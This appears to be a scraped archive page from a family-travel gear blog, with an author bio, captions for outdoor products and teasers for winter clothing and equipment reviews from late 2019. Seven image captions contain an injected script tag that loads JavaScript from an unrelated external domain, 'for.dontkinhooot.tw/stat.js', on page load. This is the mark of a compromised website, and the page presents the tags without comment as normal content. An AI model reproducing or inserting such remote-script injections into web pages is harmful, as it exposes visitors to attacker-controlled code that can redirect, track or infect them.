Amy

Amy Whitley is a freelance creative and travel writer and founding editor of the family travel website Pit Stops for Kids. An avid lover of the outdoors, Amy makes her home in Southern Oregon, where she, her husband, and three school-aged children spend much of their time backpacking, camping, skiing, and hiking. When not exploring her own backyard, Amy and her family hit the road for travel reviews of resorts, tour operations, and hotels across the country and abroad. Follow Amy Whitley on Twitter and Facebook.
Sierra Designs

Outdoor travel with Sierra Designs Meteor Lite tent

Outdoor adventure-ready accessories from EcoVessel

Outdoor adventure-ready accessories from EcoVessel

Sierra Designs down moc<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Sierra Designs Down Moc slippers = work at home bliss

Lowa Casara boot<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Lowa Casara GTX boots for casual travel

Columbia Stash <script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Columbia Sportwear men’s Powder Stash pant

GCI Outdoors Pod Rocker<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

GCI Outdoor Pod Rocker chair for camping comfort

Big Agnes tarp<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Big Agnes Deep Creek tarp for winter camping comfort

Snowfeet<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Snowfeet mini skis for at-home snow fun

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Tom’s Paxton slip-on shoe for comfy winter travel

Bose sleepbuds<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Bose Sleepbuds II for every day and away

Helly Hansen winter layers

By Amy / December 31, 2019 /

‘Tis the season to make sure you have your winter alpine ski season wear! We’ve been checking out some staples from Helly Hansen this month, including a dual-purpose mid-layer and an apres-ski pullover you won’t want to miss out on. Lifaloft Hybrid Insulator jacket: The perfect weight and thickness to pair with a Merino wool…

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Icebreaker Waypoint Sweater for cold weather travel

By Amy / December 24, 2019 /

Icebreaker’s Waypoint Roll Neck Sweater is Merino wool goodness in a tunic length. I love this length for travel days because it works so well with leggings and tights, which take up far less room in my carry-on than jeans or slacks. (Of course, the Waypoint will look great with those, too, especially your favorite…

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Winter layering pieces for women who travel

By Amy / December 17, 2019 /

Title Nine Super Power sweater: What’s your super power? This sweater’s super power is velvety-softness that’s somehow still tough as nails. The Super Power sweater is a Title Nine original that is stylish and fun while still practical and ready to put in some work. It’s made of 60% extra fine Merino wool and 40%…

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Outdoor Research Illuminate Down Hoody

By Amy / December 10, 2019 /

Every traveler needs one great down jacket in their wardrobe. Down jackets or ‘puffer jackets’ pack down small, are lightweight to wear, move with the body, and keep you extremely warm in chilly temperatures. Recently, I tested the Outdoor Research Illuminate down hoody, which comes in a men’s and women’s version in a lot of…

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Three layering options for women this winter

By Amy / December 3, 2019 /

If you’re traveling to winter weather destinations, it’s time to layer up, ladies! This week, I have three women-specific winter layering options that will travel with you for any active outdoorsy vacation or expedition. Kari Traa Maria top: If you haven’t heard of Kari Traa, this European company founded by the champion freestyle skier (of…

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Costa and Julbo sunglasses for active travel

By Amy / November 26, 2019 /

Are you headed somewhere sunny for the winter holidays? Or maybe you’re skiing and snowshoeing, and need eye protection that can move with you. Either way, I’ve recently tested three sunglass options for the active, outdoorsy traveler. Costa Vela: With 100% UV protection polarized lenses, Hydrolite┬« nose pads and adjustable temple tips, the Vela is…

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Selkirk

Camping stove for 2020: GSI Outdoors Selkirk 540

By Amy / November 19, 2019 /

‘Tis the season to buy that camper in your life the new gear he or she is fawning over (or maybe that camper is you, and you’re ready to treat yourself this holiday season…that’s just fine, too!). If you have an RV, camper van, or tent camper in your life, I can guarantee that person…

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Women’s boots and shoes for winter weather travel

By Amy / November 12, 2019 /

Muck Liberty: I’m headed to Germany in winter. Christmas markets and city streets are not guaranteed to be snow-free, but I don’t want to bring a bulky winter boot in my luggage. What to do? Muck, one of my favorite brands for work and chore boots back at home, offers up the Liberty waterproof ankle…

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Gregory

Gregory Tribute backpack for international travel

By Amy / November 5, 2019 /

Sometimes, you simply need to be hands-free when you travel, and you can’t have a roller bag slowing you down. This is especially true when traveling through less developed countries with fewer escalators and elevators, and destinations with cobbled streets, train travel, or bus travel. When I want to leave my roller bag behind, I…

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icebreaker jacket

Icebreaker women’s wear for fall and winter travel

By Amy / October 29, 2019 /

Icebreaker is a trusted brand that delivers time and again on travel wear for my outdoorsy self. Every time I review an Icebreaker product, I can feel sure it will be high quality, live up the hype, and be both stylish and performance-savvy. Icebreakers base, mid and outwear layers are made with merino, which is…

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